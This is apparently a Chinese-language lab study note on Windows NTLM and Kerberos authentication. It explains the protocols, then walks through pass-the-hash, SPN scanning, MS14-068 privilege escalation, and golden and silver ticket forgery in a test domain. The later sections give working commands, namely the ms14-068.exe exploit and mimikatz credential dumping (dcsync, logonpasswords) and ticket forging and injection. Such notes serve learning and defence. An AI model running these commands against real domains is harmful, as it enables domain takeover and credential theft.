NTLM
NTLM HASH
加密过程
假设我的密码是hu3sky,先将hu3sky转换为十六进制,经过Unicode转换后,再调用MD4加密算法加密,这个加密结果的十六进制就是NTLM Hash
在Windows中,密码Hash目前称之为NTLM Hash,其中NTLM全称是:“NT LAN Manager”。这个NTLM是一种网络认证协议,与NTLM Hash的关系就是:NTLM网络认证协议是以NTLM Hash作为根本凭证进行认证的协议。也就是说,NTLM与NTLM Hash相互对应。在本地认证的过程中,其实就是将用户输入的密码转换为NTLM Hash与SAM中的NTLM Hash进行比较。
NTLM协议
NTLM是一种网络认证协议,它是基于挑战(Challenge)/响应(Response)认证机制的一种认证模式
协议介绍
基于挑战/响应认证模式
NTLM认证分三步
- 协商:确认双方版本
- 质询:挑战(Challenge)/响应(Response)认证机制起作用的范畴
- 验证:验证结果
验证过程
- Server接收到Client传来的user,判断本地账户net_share中是否存在,若不存在,返回认证失败。若存在,则生成一个随机16字节数的challenge,并从本地net_share中查找该user对应的NTLM HASH,用其将challenge加密为一个NET-NTLM HASH,加密后存在内存中,并将之前生成的challenge发给Client
- Client收到challenge后,将user的NTLM HASH加密challenge,并发送给Server,这个结果叫做Response,表现形式是NET-NTLM HASH
- Server将收到的Response,在内存中和NET-NTLM HASH 进行比对,若相同,则通过,反之不通过
Pass The Hash(PTH)
哈希传递是能够在不需要账户明文密码的情况下完成认证的一个技术
条件
- 哈希传递需要被认证的主机能够访问到服务器
- 哈希传递需要被传递认证的用户名
- 哈希传递需要被传递认证用户的NTLM Hash
Pass The Hash的工具:
- Smbmap
- CrackMapExec
- Smbexec
- [测试过]Metasploit
Kerberos协议
相关
框架
主要有三个角色
- 访问服务的Client
- 提供服务的Server
- KDC(Key Distribution Center)密钥分发中心
KDC
KDC服务默认在域控里,而Client和Server为域内的用户或者是服务,如HTTP服务,SQL服务。在Kerberos中Client是否有权限访问Server端的服务由KDC发放的票据来决定,KDC又分两个部分
AS
Authentication Server:AS是验证Client身份,验证通过就会给Client一个TGT(Ticket Granting Ticket)
TGS
Ticket Granting Server:TGS的作用是接收Client带来的TGT,并提供一个ST(Service Ticket),Client就能去访问Server了
借用一张图来理解
KDC服务下包含一个Krbtgt用户,它是在创建域时系统自动创建的一个账号
具体认证流程
首先,Client发送自己的身份信息到KDC(AS),身份信息中包含用户名,时间戳、Client ID、网络地址、加密类型等内容,KDC根据用户名,提取NTLM HASH,KDC此时生成一个随机字符串(Session Key),使用用户名对应的NTLM HASH来加密Session Key,作为AS数据,使用KDC中的krbtgt用户的NTLM HASH来加密Session Key和客户端信息,生成TGT
第二步,Client需要提供TGT和第一步中使用自己NTLM Hash解密出来的Session Key加密的客户端信息跟时间戳。TGT是由krbtgt HASH加密,不知道时无法解密。于是Client将其发送给KDC (TGS)。
TGS接收到后,首先用krbtgt HASH解密TGT,从TGT中提取到Session Key,再用Session Key解密其他内容,进行校验,验证通过后,就会生成一个新的Session Key,我们称之为Server Session Key,这个Server Session Key主要用于和服务器进行通信。同时还会生成一个Ticket(ST,经过Server的NTLM HASH加密),也就是最后的票据了第三步,客户端向服务器请求,需要提供ST,Server Session Key加密的客户端信息与时间戳。校验通过后,认证成功,该票据会一直存在客户端内存中。
PAC
当Client和KDC验证完,需要访问Server某服务,需要进行权限校验时,就需要用到PAC
PAC在KRB_AS_RSP时,放在TGT中加密发给Client,Client再转发给TGS进行验证
SPN
服务主体名称(SPN:Service Principal Names)是服务实例(可以理解为一个服务,比如HTTP、MSSQL)的唯一标识符,使用Kerberos必须要正确的配置SPN
如果我想把域中一台主机S2中的MSSQL服务注册到SPN中则可以使用命令Setspn -A MSSQLSvc/s2.yunying.lab:1433 tsvc
注册成功之后可以通过命令setspn -T yunying.lab –q */*
或者setspn –q */*
来查看已经注册的SPN
SPN扫描
https://github.com/nidem/kerberoast/blob/master/GetUserSPNs.ps1
GetUserSPNs是Kerberoast工具集中的一个powershell脚本,用来查询域内注册的SPN。
SQLSERVER 扫描脚本
https://github.com/PyroTek3/PowerShell-AD-Recon
扫描原理
LDAP协议(Lightweight Directory Access Protocol):轻量目录访问协议。是一种用来查询与更新 Active Directory 的目录服务通信协议,AD域服务利用LDAP命名路径来表示对象在AD域里的位置,以便于访问AD内的对象
在域控中默认安装了ADSI编辑器,可以用来编辑LDAP
票据利用
MS-14068
环境:
域控:WIN2008
域成员:WIN2003
MS14068是一个能够使普通用户提权到域控权限的权限提升漏洞
需要域控主机上没有安装KB3011780补丁,systeminfo查看
首先在WIN2003上,访问域控的共享文件夹
先在WIN2003上,得到SID
接着利用
https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS14-068
1 | ms14-068.exe -u administrator@hu3sky.com -p admin@123 -s S-1-5-21-557603841-771695929-1514560438-1103 -d win2008.hu3sky.com |
参数
1 | -u 域账号+@+域名称,即administrator@hu3sky.com |
会生成一个ccahe文件
mimikatz导入生成的ccahe文件
1 | mimikatz.exe "kerberos::ptc TGT_administrator@hu3sky.com.ccache" exit |
接着, 就可以直接dir访问了
Golden Tickets-黄金票据
是通过伪造TGT,因为只要有了高权限的TGT,那么就可以发送给TGS换取任意服务的ST。可以说有了金票就有了域内的最高权限,而TGT是需要Krbtgt用户的密码HASH来加密的
条件:
- 域名称
- 域的SID值
- 域的Krbtgt账户密码HASH
- 伪造用户名,可以是任意的
工具:mimikatz
1 | * kerberos::list #列出票据 |
域控上执行
1 | lsadump::dcsync /domain:hu3sky.com /user:krbtgt |
得到KRBTGT HASH,SID之后使用mimikatz中的kerberos::golden功能生成金票golden.kiribi,即为伪造成功的TGT
参数说明:
1 | /admin:伪造的用户名 |
1 | kerberos::golden /admin:administrator /domain:hu3sky.com /sid:xxx /krbtgt:xxx /ticket:golden.kiribi |
使用,ptt(票据传递),将golden.kiribi导入内存中
1 | kerberos::ptt golden.kiribi |
于是,可以通过dir访问域控共享文件夹
这样的方式导入的票据20分钟之内生效,如果过期再次导入就可以,并且可以伪造任意用户。
防御
- 经常修改krbtgt密码,最根本的办法是不允许域管账户登录其他服务器
Silver Tickets-白银票据
白银票据只能访问指定的服务(不需要与KDC进行交互)
条件:
- 域名称
- 域SID
- 域控的账户密码HASH
- 伪造的任意用户名
工具:mimikatz
1 | sekurlsa::logonpasswords |
这里用的是WIN2008$的NTLM HASH,不是Administrator的
接着在WIN2003$上使用
命令介绍
1 | /domain:当前域名称 |
由于白银票据需要目标服务器的Hash,所以没办法生成对应域内 所有服务器的票据,也不能通过TGT申请。因此只能针对服务器 上的某些服务去伪造